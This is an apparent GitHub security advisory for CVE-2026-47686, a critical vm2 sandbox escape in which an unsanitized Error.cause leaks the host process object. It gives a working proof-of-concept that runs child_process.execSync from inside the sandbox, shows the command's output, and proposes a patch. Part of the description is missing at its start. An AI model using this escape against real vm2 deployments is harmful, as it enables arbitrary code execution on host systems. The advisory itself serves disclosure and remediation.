GitHub Advisoryadvisory · npm
GHSA-m283-3h24-438v VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE
CRITICAL
Official page ↗
- Aliases
- CVE-2026-47686
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-693
- Reviewed
- 2026-08-17
Affected packages
• npm vm2: < 3.11.6 → fixed in 3.11.6
Description
Affected: vm2 {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);
```
Verified output:
```
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
```
Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:
• Full host process access (read/write files, spawn processes, network access)
• Sandbox escape with changed scope (CVSS S:C)
• No user interaction required
The prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add `.cause` sanitization before the prototype-chain walk, so it applies to all error types:
```javascript
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}
```
`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role |
|------|------|
| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |
poc_error_cause_escape.js
Related
Alias · CVE (1)
- CVE-2026-47686 vm2 is an open source vm/sandbox for Node.js. vulnerability
Weakness · CWE (1)
- CWE-693 Protection Mechanism Failure weakness